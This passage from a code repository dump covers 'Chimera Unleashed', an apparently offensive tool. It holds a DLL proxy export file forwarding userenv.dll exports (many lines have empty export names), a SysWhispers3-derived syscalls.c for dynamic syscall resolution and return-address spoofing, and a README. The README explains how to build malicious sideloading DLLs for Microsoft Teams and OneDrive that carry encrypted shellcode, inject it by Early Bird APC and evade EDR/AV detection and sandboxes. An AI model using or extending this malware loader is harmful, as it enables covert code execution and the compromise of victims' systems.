"/export:ForceSyncFgPolicy=tmpB0F7.ForceSyncFgPolicy,@125") 24 | #pragma comment(linker, "/export:FreeGPOListA=tmpB0F7.FreeGPOListA,@126") 25 | #pragma comment(linker, "/export:FreeGPOListW=tmpB0F7.FreeGPOListW,@127") 26 | #pragma comment(linker, "/export:GenerateGPNotification=tmpB0F7.GenerateGPNotification,@128") 27 | #pragma comment(linker, "/export:GetAllUsersProfileDirectoryA=tmpB0F7.GetAllUsersProfileDirectoryA,@129") 28 | #pragma comment(linker, "/export:GetAllUsersProfileDirectoryW=tmpB0F7.GetAllUsersProfileDirectoryW,@130") 29 | #pragma comment(linker, "/export:GetAppContainerFolderPath=tmpB0F7.GetAppContainerFolderPath,@131") 30 | #pragma comment(linker, "/export:GetAppContainerRegistryLocation=tmpB0F7.GetAppContainerRegistryLocation,@132") 31 | #pragma comment(linker, "/export:GetAppliedGPOListA=tmpB0F7.GetAppliedGPOListA,@133") 32 | #pragma comment(linker, "/export:GetAppliedGPOListW=tmpB0F7.GetAppliedGPOListW,@134") 33 | #pragma comment(linker, "/export:=tmpB0F7.,@135") 34 | #pragma comment(linker, "/export:GetDefaultUserProfileDirectoryA=tmpB0F7.GetDefaultUserProfileDirectoryA,@136") 35 | #pragma comment(linker, "/export:=tmpB0F7.,@137") 36 | #pragma comment(linker, "/export:GetDefaultUserProfileDirectoryW=tmpB0F7.GetDefaultUserProfileDirectoryW,@138") 37 | #pragma comment(linker, "/export:=tmpB0F7.,@139") 38 | #pragma comment(linker, "/export:GetGPOListA=tmpB0F7.GetGPOListA,@140") 39 | #pragma comment(linker, "/export:GetGPOListW=tmpB0F7.GetGPOListW,@141") 40 | #pragma comment(linker, "/export:GetNextFgPolicyRefreshInfo=tmpB0F7.GetNextFgPolicyRefreshInfo,@142") 41 | #pragma comment(linker, "/export:GetPreviousFgPolicyRefreshInfo=tmpB0F7.GetPreviousFgPolicyRefreshInfo,@143") 42 | #pragma comment(linker, "/export:GetProfileType=tmpB0F7.GetProfileType,@144") 43 | #pragma comment(linker, "/export:GetProfilesDirectoryA=tmpB0F7.GetProfilesDirectoryA,@145") 44 | #pragma comment(linker, "/export:GetProfilesDirectoryW=tmpB0F7.GetProfilesDirectoryW,@146") 45 | #pragma comment(linker, "/export:GetUserProfileDirectoryA=tmpB0F7.GetUserProfileDirectoryA,@147") 46 | #pragma comment(linker, "/export:GetUserProfileDirectoryW=tmpB0F7.GetUserProfileDirectoryW,@148") 47 | #pragma comment(linker, "/export:HasPolicyForegroundProcessingCompleted=tmpB0F7.HasPolicyForegroundProcessingCompleted,@149") 48 | #pragma comment(linker, "/export:LeaveCriticalPolicySection=tmpB0F7.LeaveCriticalPolicySection,@150") 49 | #pragma comment(linker, "/export:LoadProfileExtender=tmpB0F7.LoadProfileExtender,@151") 50 | #pragma comment(linker, "/export:LoadUserProfileA=tmpB0F7.LoadUserProfileA,@152") 51 | #pragma comment(linker, "/export:LoadUserProfileW=tmpB0F7.LoadUserProfileW,@153") 52 | #pragma comment(linker, "/export:ProcessGroupPolicyCompleted=tmpB0F7.ProcessGroupPolicyCompleted,@154") 53 | #pragma comment(linker, "/export:ProcessGroupPolicyCompletedEx=tmpB0F7.ProcessGroupPolicyCompletedEx,@155") 54 | #pragma comment(linker, "/export:RefreshPolicy=tmpB0F7.RefreshPolicy,@156") 55 | #pragma comment(linker, "/export:RefreshPolicyEx=tmpB0F7.RefreshPolicyEx,@157") 56 | #pragma comment(linker, "/export:RegisterGPNotification=tmpB0F7.RegisterGPNotification,@158") 57 | #pragma comment(linker, "/export:RsopAccessCheckByType=tmpB0F7.RsopAccessCheckByType,@159") 58 | #pragma comment(linker, "/export:RsopFileAccessCheck=tmpB0F7.RsopFileAccessCheck,@160") 59 | #pragma comment(linker, "/export:RsopResetPolicySettingStatus=tmpB0F7.RsopResetPolicySettingStatus,@161") 60 | #pragma comment(linker, "/export:RsopSetPolicySettingStatus=tmpB0F7.RsopSetPolicySettingStatus,@162") 61 | #pragma comment(linker, "/export:UnloadProfileExtender=tmpB0F7.UnloadProfileExtender,@163") 62 | #pragma comment(linker, "/export:UnloadUserProfile=tmpB0F7.UnloadUserProfile,@164") 63 | #pragma comment(linker, "/export:UnregisterGPNotification=tmpB0F7.UnregisterGPNotification,@165") 64 | #pragma comment(linker, "/export:WaitForMachinePolicyForegroundProcessing=tmpB0F7.WaitForMachinePolicyForegroundProcessing,@166") 65 | #pragma comment(linker, "/export:WaitForUserPolicyForegroundProcessing=tmpB0F7.WaitForUserPolicyForegroundProcessing,@167") 66 | #pragma comment(linker, "/export:=tmpB0F7.,@168") 67 | #pragma comment(linker, "/export:=tmpB0F7.,@169") 68 | #pragma comment(linker, "/export:=tmpB0F7.,@170") 69 | #pragma comment(linker, "/export:=tmpB0F7.,@171") 70 | #pragma comment(linker, "/export:=tmpB0F7.,@172") 71 | #pragma comment(linker, "/export:=tmpB0F7.,@173") 72 | #pragma comment(linker, "/export:=tmpB0F7.,@174") 73 | #pragma comment(linker, "/export:=tmpB0F7.,@175") 74 | #pragma comment(linker, "/export:=tmpB0F7.,@176") 75 | #pragma comment(linker, "/export:=tmpB0F7.,@177") 76 | #pragma comment(linker, "/export:=tmpB0F7.,@178") 77 | #pragma comment(linker, "/export:=tmpB0F7.,@179") 78 | #pragma comment(linker, "/export:=tmpB0F7.,@180") 79 | #pragma comment(linker, "/export:=tmpB0F7.,@181") 80 | #pragma comment(linker, "/export:=tmpB0F7.,@182") 81 | #pragma comment(linker, "/export:=tmpB0F7.,@183") 82 | #pragma comment(linker, "/export:=tmpB0F7.,@184") 83 | #pragma comment(linker, "/export:=tmpB0F7.,@185") 84 | #pragma comment(linker, "/export:=tmpB0F7.,@186") 85 | #pragma comment(linker, "/export:=tmpB0F7.,@187") 86 | #pragma comment(linker, "/export:=tmpB0F7.,@188") 87 | #pragma comment(linker, "/export:=tmpB0F7.,@189") 88 | #pragma comment(linker, "/export:=tmpB0F7.,@190") 89 | #pragma comment(linker, "/export:=tmpB0F7.,@191") 90 | #pragma comment(linker, "/export:=tmpB0F7.,@192") 91 | #pragma comment(linker, "/export:=tmpB0F7.,@193") 92 | #pragma comment(linker, "/export:=tmpB0F7.,@194") 93 | #pragma comment(linker, "/export:=tmpB0F7.,@195") 94 | #pragma comment(linker, "/export:=tmpB0F7.,@196") 95 | #pragma comment(linker, "/export:=tmpB0F7.,@197") 96 | #pragma comment(linker, "/export:=tmpB0F7.,@198") 97 | #pragma comment(linker, "/export:=tmpB0F7.,@199") 98 | #pragma comment(linker, "/export:=tmpB0F7.,@200") 99 | #pragma comment(linker, "/export:=tmpB0F7.,@201") 100 | #pragma comment(linker, "/export:=tmpB0F7.,@202") 101 | #pragma comment(linker, "/export:=tmpB0F7.,@203") 102 | #pragma comment(linker, "/export:=tmpB0F7.,@204") 103 | #pragma comment(linker, "/export:=tmpB0F7.,@205") 104 | #pragma comment(linker, "/export:=tmpB0F7.,@206") 105 | #pragma comment(linker, "/export:=tmpB0F7.,@207") 106 | #pragma comment(linker, "/export:=tmpB0F7.,@208") 107 | #pragma comment(linker, "/export:=tmpB0F7.,@209") 108 | #pragma comment(linker, "/export:=tmpB0F7.,@210") 109 | #pragma comment(linker, "/export:=tmpB0F7.,@211") 110 | #pragma comment(linker, "/export:=tmpB0F7.,@212") 111 | #pragma comment(linker, "/export:=tmpB0F7.,@213") 112 | #pragma comment(linker, "/export:=tmpB0F7.,@214") 113 | #pragma comment(linker, "/export:=tmpB0F7.,@215") 114 | #pragma comment(linker, "/export:=tmpB0F7.,@216") 115 | #pragma comment(linker, "/export:=tmpB0F7.,@217") 116 | #pragma comment(linker, "/export:=tmpB0F7.,@218") 117 | #pragma comment(linker, "/export:=tmpB0F7.,@219") 118 | -------------------------------------------------------------------------------- /Visualstudio_Files/syscalls.c: -------------------------------------------------------------------------------- 1 | #include "syscalls.h" 2 | #include 3 | 4 | //#define DEBUG 5 | 6 | // JUMPER 7 | 8 | #ifdef _M_IX86 9 | 10 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { 11 | return (PVOID)__readfsdword(0xC0); 12 | } 13 | 14 | __declspec(naked) BOOL local_is_wow64(void) 15 | { 16 | __asm { 17 | mov eax, fs: [0xc0] 18 | test eax, eax 19 | jne wow64 20 | mov eax, 0 21 | ret 22 | wow64 : 23 | mov eax, 1 24 | ret 25 | } 26 | } 27 | 28 | 29 | #endif 30 | 31 | // Code below is adapted from @modexpblog. Read linked article for more details. 32 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 33 | 34 | SW3_SYSCALL_LIST SW3_SyscallList; 35 | 36 | // SEARCH_AND_REPLACE 37 | #ifdef SEARCH_AND_REPLACE 38 | // THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release 39 | EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); 40 | #endif 41 | 42 | DWORD SW3_HashSyscall(PCSTR FunctionName) 43 | { 44 | DWORD i = 0; 45 | DWORD Hash = SW3_SEED; 46 | 47 | while (FunctionName[i]) 48 | { 49 | WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); 50 | Hash ^= PartialName + SW3_ROR8(Hash); 51 | } 52 | 53 | return Hash; 54 | } 55 | 56 | #ifndef JUMPER 57 | PVOID SC_Address(PVOID NtApiAddress) 58 | { 59 | return NULL; 60 | } 61 | #else 62 | PVOID SC_Address(PVOID NtApiAddress) 63 | { 64 | DWORD searchLimit = 512; 65 | PVOID SyscallAddress; 66 | 67 | #ifdef _WIN64 68 | // If the process is 64-bit on a 64-bit OS, we need to search for syscall 69 | BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; 70 | ULONG distance_to_syscall = 0x12; 71 | #else 72 | // If the process is 32-bit on a 32-bit OS, we need to search for sysenter 73 | BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; 74 | ULONG distance_to_syscall = 0x0f; 75 | #endif 76 | 77 | #ifdef _M_IX86 78 | // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved 79 | if (local_is_wow64()) 80 | { 81 | #ifdef DEBUG 82 | printf("[+] Running 32-bit app on x64 (WOW64)\n"); 83 | #endif 84 | return NULL; 85 | } 86 | #endif 87 | 88 | // we don't really care if there is a 'jmp' between 89 | // NtApiAddress and the 'syscall; ret' instructions 90 | SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); 91 | 92 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 93 | { 94 | // we can use the original code for this system call :) 95 | #if defined(DEBUG) 96 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 97 | #endif 98 | return SyscallAddress; 99 | } 100 | 101 | // the 'syscall; ret' intructions have not been found, 102 | // we will try to use one near it, similarly to HalosGate 103 | 104 | for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) 105 | { 106 | // let's try with an Nt* API below our syscall 107 | SyscallAddress = SW3_RVA2VA( 108 | PVOID, 109 | NtApiAddress, 110 | distance_to_syscall + num_jumps * 0x20); 111 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 112 | { 113 | #if defined(DEBUG) 114 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 115 | #endif 116 | return SyscallAddress; 117 | } 118 | 119 | // let's try with an Nt* API above our syscall 120 | SyscallAddress = SW3_RVA2VA( 121 | PVOID, 122 | NtApiAddress, 123 | distance_to_syscall - num_jumps * 0x20); 124 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 125 | { 126 | #if defined(DEBUG) 127 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 128 | #endif 129 | return SyscallAddress; 130 | } 131 | } 132 | 133 | #ifdef DEBUG 134 | printf("Syscall Opcodes not found!\n"); 135 | #endif 136 | 137 | return NULL; 138 | } 139 | #endif 140 | 141 | 142 | BOOL SW3_PopulateSyscallList() 143 | { 144 | // Return early if the list is already populated. 145 | if (SW3_SyscallList.Count) return TRUE; 146 | 147 | #ifdef _WIN64 148 | PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); 149 | #else 150 | PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); 151 | #endif 152 | PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; 153 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 154 | PVOID DllBase = NULL; 155 | 156 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 157 | // in the list, so it's safer to loop through the full list and find it. 158 | PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; 159 | for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 160 | { 161 | DllBase = LdrEntry->DllBase; 162 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 163 | PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 164 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 165 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 166 | if (VirtualAddress == 0) continue; 167 | 168 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 169 | 170 | // If this is NTDLL.dll, exit loop. 171 | PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 172 | 173 | if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; 174 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; 175 | } 176 | 177 | if (!ExportDirectory) return FALSE; 178 | 179 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 180 | PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 181 | PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 182 | PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 183 | 184 | // Populate SW3_SyscallList with unsorted Zw* entries. 185 | DWORD i = 0; 186 | PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; 187 | do 188 | { 189 | PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 190 | 191 | // Is this a system call? 192 | if (*(USHORT*)FunctionName == 0x775a) 193 | { 194 | Entries[i].Hash = SW3_HashSyscall(FunctionName); 195 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 196 | Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); 197 | 198 | i++; 199 | if (i == SW3_MAX_ENTRIES) break; 200 | } 201 | } while (--NumberOfNames); 202 | 203 | // Save total number of system calls found. 204 | SW3_SyscallList.Count = i; 205 | 206 | // Sort the list by address in ascending order. 207 | for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) 208 | { 209 | for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) 210 | { 211 | if (Entries[j].Address > Entries[j + 1].Address) 212 | { 213 | // Swap entries. 214 | SW3_SYSCALL_ENTRY TempEntry; 215 | 216 | TempEntry.Hash = Entries[j].Hash; 217 | TempEntry.Address = Entries[j].Address; 218 | TempEntry.SyscallAddress = Entries[j].SyscallAddress; 219 | 220 | Entries[j].Hash = Entries[j + 1].Hash; 221 | Entries[j].Address = Entries[j + 1].Address; 222 | Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; 223 | 224 | Entries[j + 1].Hash = TempEntry.Hash; 225 | Entries[j + 1].Address = TempEntry.Address; 226 | Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; 227 | } 228 | } 229 | } 230 | 231 | return TRUE; 232 | } 233 | 234 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) 235 | { 236 | // Ensure SW3_SyscallList is populated. 237 | if (!SW3_PopulateSyscallList()) return -1; 238 | 239 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 240 | { 241 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 242 | { 243 | return i; 244 | } 245 | } 246 | 247 | return -1; 248 | } 249 | 250 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) 251 | { 252 | // Ensure SW3_SyscallList is populated. 253 | if (!SW3_PopulateSyscallList()) return NULL; 254 | 255 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 256 | { 257 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 258 | { 259 | return SW3_SyscallList.Entries[i].SyscallAddress; 260 | } 261 | } 262 | 263 | return NULL; 264 | } 265 | 266 | EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) 267 | { 268 | // Ensure SW3_SyscallList is populated. 269 | if (!SW3_PopulateSyscallList()) return NULL; 270 | 271 | DWORD index = ((DWORD)rand()) % SW3_SyscallList.Count; 272 | 273 | while (FunctionHash == SW3_SyscallList.Entries[index].Hash) { 274 | // Spoofing the syscall return address 275 | index = ((DWORD)rand()) % SW3_SyscallList.Count; 276 | } 277 | return SW3_SyscallList.Entries[index].SyscallAddress; 278 | } 279 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Chimera Unlea$ed  2 | 3 | 4 | 5 | ![](Images/Chimera.png) 6 | 7 | 8 | ## Tool Background  9 | 10 | * * * 11 | 12 | While DLL sideloading can be used for legitimate purposes, such as loading necessary libraries for a program to function, it can also be used for malicious purposes. Attackers can use DLL sideloading to execute arbitrary code on a target system, often by exploiting vulnerabilities in legitimate applications that are used to load DLLs. 13 | 14 | To automate the DLL sideloading process and make it more effective, Chimera was created a tool that includes evasion methodologies to bypass EDR/AV products. This tool can automatically encrypt a shellcode via XOR with a random key and create template Images that can be imported into Visual Studio to create a malicious DLL. 15 | 16 | 17 | Also, Dynamic Syscalls from SysWhispers3 is used and a modified assembly version to evade the pattern that the EDR search for, Random nop sleds are added and registers are moved. Furthermore, Early Bird Injection is also used to inject the shellcode in another process which the user can specify with Sandbox Evasion mechanisms like HardDisk check & if the process is being debugged. Finally Timing attack is placed in the loader which uses waitable timers to delay the execution of the shellcode. 18 | 19 | 20 | This tool has been tested and shown to be effective at bypassing EDR/AV products and executing arbitrary code on a target system. 21 | 22 | The updated version of Chimera Unleashed has demonstrated significant advancements in evading both static and dynamic analysis, particularly in the context of Microsoft 365's Endpoint Detection and Response (EDR) system. The tool's sideloading techniques, even when applied to well-known binaries like OneDrive, successfully eluded detection. However, it's noteworthy that while the sideloading aspect remained undetected, the Early Bird Injection process employed by the tool was identified by the EDR system. This highlights an area for further refinement in enhancing the tool's overall stealth capabilities. 23 | 24 | 25 | 26 | ## Tool Usage 27 | 28 | * * * 29 | 30 | Key Updates and Features: 31 | - **Reformatted Structure**: The entire program has been restructured for enhanced development ease and future maintainability. 32 | - **Polymorphic Code Integration**: Incorporation of polymorphic code, significantly enhancing evasion capabilities and making the tool more resilient against static analysis. 33 | - **SysWhispers 3 Integration**: Transitioned from SysWhispers 2 to a modified version of SysWhispers 3. This update improves the tool's ability to evade pattern recognition mechanisms employed by EDR systems, using dynamic syscalls and modified assembly techniques. 34 | - **AES Encryption**: Implemented AES encryption to secure shellcode, adding an additional layer of security and obfuscation. 35 | - **Early Bird Injection**: The tool employs Early Bird Injection techniques, allowing for stealthier code execution within target processes. 36 | - **Module Stomping**: Will be added in the future also you can implement your own code injection technique in the tool. 37 | 38 | 39 | Chimera is written in python3  and there is no need to install any extra dependencies. 40 | 41 | 42 | Chimera currently supports two DLL options either Microsoft teams or Microsoft OneDrive. 43 | 44 | 45 | Someone can create userenv.dll which is a missing DLL from Microsoft Teams and insert it into the specific folder to  46 | 47 | `⁠%USERPROFILE%/Appdata/local/Microsoft/Teams/current` 48 | 49 | 50 | For Microsoft OneDrive the script uses version DLL which is common because it's missing from the binary example onedriveupdater.exe 51 | 52 | 53 | ### Command-Line Arguments 54 | 55 | Chimera Unleashed uses `argparser` for command-line argument parsing. The following arguments are available: 56 | 57 | - `--raw` or `-r`: Path to file containing shellcode. Required. 58 | - `--path` or `-p`: Path to output the C template file. Required. 59 | - `--pname` or `-n`: Name of process to inject shellcode into. Required. 60 | - `--dexports` or `-d`: Specify which DLL Exports to use (either 'teams' or 'onedrive'). Required. 61 | - `--enc` or `-e`: Specify preferred encryption (XOR / AES). Required. 62 | - `--inj` or `-i`: Specify preferred injection technique (EB / MS). Required. 63 | - `--rshell` or `-s`: [Optional] Replace shellcode variable name with a unique name. Default is 'encoded_shell'. 64 | - `--rxor` or `-x`: [Optional] Replace xor encryption name with a unique name. Default is 'do_xor'. 65 | - `--rkey` or `-k`: [Optional] Replace key variable name with a unique name. Default is 'key'. 66 | - `--rsleep` or `-z`: [Optional] Total sleep time to include during execution (seconds). Default is 4000. 67 | - `--size` or `-f`: [Optional] File size of junk data in KB. Zero (0) is disabled, and one (1) is random filesize. Default is 0. 68 | 69 | Example usage: `python Chimera.py --raw --path --pname --dexports --enc AES --inj EB --rshell my_shellcode` 70 | 71 | 72 | ### Useful Note 73 | 74 | Once the compilation process is complete, a DLL will be generated, which should include either "version.dll" for OneDrive or "userenv.dll" for Microsoft Teams. Next, it is necessary to rename the original DLLs. 75 | 76 | For instance, the original "userenv.dll" should be renamed as "tmpB0F7.dll," while the original "version.dll" should be renamed as "tmp44BC.dll." Additionally, you have the option to modify the name of the proxy DLL as desired by altering the source code of the DLL exports instead of using the default script names. 77 | 78 | code.h file contains the shellcode. 79 | 80 | ## Visual Studio Project Setup 81 | 82 | * * * 83 | 84 | Step 1: Creating a New Visual Studio Project with DLL Template 85 | 86 | 1. Launch Visual Studio and click on "Create a new project" or go to "File" -> "New" -> "Project." 87 | 2. In the project templates window, select "Visual C++" from the left-hand side. 88 | 3. Choose "Empty Project" from the available templates. 89 | 4. Provide a suitable name and location for the project, then click "OK." 90 | 5. On the project properties window, navigate to "Configuration Properties" -> "General" and set the "Configuration Type" to "Dynamic Library (.dll)." 91 | 6. Configure other project settings as desired and save the project. 92 | 93 | 94 | 95 | ![](Images/image.png) 96 | 97 | 98 | 99 | ![](Images/image%202.png) 100 | 101 | 102 | 103 | Step 2: Importing Files into the Visual Studio Project 104 | 105 | 1. Locate the "chimera\_automation" folder containing the necessary Images. 106 | 2. Open the folder and identify the following files: main.c, syscalls.c, syscallsstubs.std.x64.asm. 107 | 3. In Visual Studio, right-click on the project in the "Solution Explorer" panel and select "Add" -> "Existing Item." 108 | 4. Browse to the location of each file (main.c, syscalls.c, syscallsstubs.std.x64.asm) and select them one by one. Click "Add" to import them into the project. 109 | 5. Create a folder named "header\_files" within the project directory if it doesn't exist already. 110 | 6. Locate the "syscalls_mem.h" header file in the "header\_files" folder of the "chimera\_automation" directory. 111 | 7. Right-click on the "header\_files" folder in Visual Studio's "Solution Explorer" panel and select "Add" -> "Existing Item." 112 | 8. Browse to the location of "syscalls_mem.h" and select it. Click "Add" to import it into the project. 113 | 114 | 115 | 116 | Step 3: Build Customization 117 | 118 | 1. In the project properties window, navigate to "Configuration Properties" -> "Build Customizations." 119 | 2. Click the "Build Customizations" button to open the build customization dialog. 120 | 121 | 122 | 123 | Step 4: Enable MASM 124 | 125 | 1. In the build customization dialog, check the box next to "masm" to enable it. 126 | 2. Click "OK" to close the build customization dialog. 127 | 128 | 129 | ![](Images/image%203.png) 130 | 131 | Step 5:  132 | 133 | 1. Right-click in the assembly file → properties and choose the following 134 | 2. Exclude from build → No 135 | 3. Content → Yes 136 | 4. Item type → Microsoft Macro Assembler 137 | 138 | 139 | ![](Images/image%204.png) 140 | 141 | 142 | ### Final Project Setup 143 | 144 | 145 | ![](Images/image%205.png) 146 | 147 | 148 | ## Compiler Optimizations  149 | 150 | * * * 151 | 152 | Step 1: Change optimization  153 | 154 | 1. In Visual Studio choose Project → properties  155 | 2. C/C++ Optimization and change to the following 156 | 157 | ![](Images/image%206.png) 158 | 159 | Step 2: Remove Debug Information 160 | 161 | 1. In Visual Studio choose Project → properties  162 | 2. Linker → Debugging → Generate Debug Info → No 163 | 164 | ![](Images/image%207.png) 165 | 166 | 167 | ## Contributors 168 | 169 | **Original Contributor:** 170 | - George Sotiriadis 171 | - Initial release and concept. 172 | - Code refactoring in the updated version. 173 | - Modified SysWhispers3 in the updated version. 174 | 175 | **Contributor:** 176 | - Efstratios Chatzoglou 177 | - Added polymorphic code, obfuscator, and AES encryption in the updated version. 178 | - Assisted in code refactoring and further development. 179 | 180 | 181 | ## Liability Disclaimer: 182 | 183 | * * * 184 | 185 | _To the maximum extent permitted by applicable law, myself(George Sotiriadis) and/or affiliates who have submitted content to my repo, shall not be liable for any indirect, incidental, special, consequential or punitive damages, or any loss of profits or revenue, whether incurred directly or indirectly, or any loss of data, use, goodwill, or other intangible losses, resulting from (i) your access to this resource and/or inability to access this resource; (ii) any conduct or content of any third party referenced by this resource, including without limitation, any defamatory, offensive or illegal conduct or other users or third parties; (iii) any content obtained from this resource_ 186 | 187 | 188 | 189 | ## References  190 | 191 | * * * 192 | 193 | [https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection) 194 | 195 | [https://evasions.checkpoint.com/](https://evasions.checkpoint.com/) 196 | 197 | [https://github.com/Flangvik/SharpDllProxy](https://github.com/Flangvik/SharpDllProxy) 198 | 199 | [](https://github.com/jthuraisamy/SysWhispers2 "https://github.com/jthuraisamy/SysWhispers2")[https://github.com/jthuraisamy/SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) 200 | 201 | [https://systemweakness.com/on-disk-detection-bypass-avs-edr-s-using-syscalls-with-legacy-instruction-series-of-instructions-5c1f31d1af7d](https://systemweakness.com/on-disk-detection-bypass-avs-edr-s-using-syscalls-with-legacy-instruction-series-of-instructions-5c1f31d1af7d) 202 | 203 | [https://github.com/Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) 204 | --------------------------------------------------------------------------------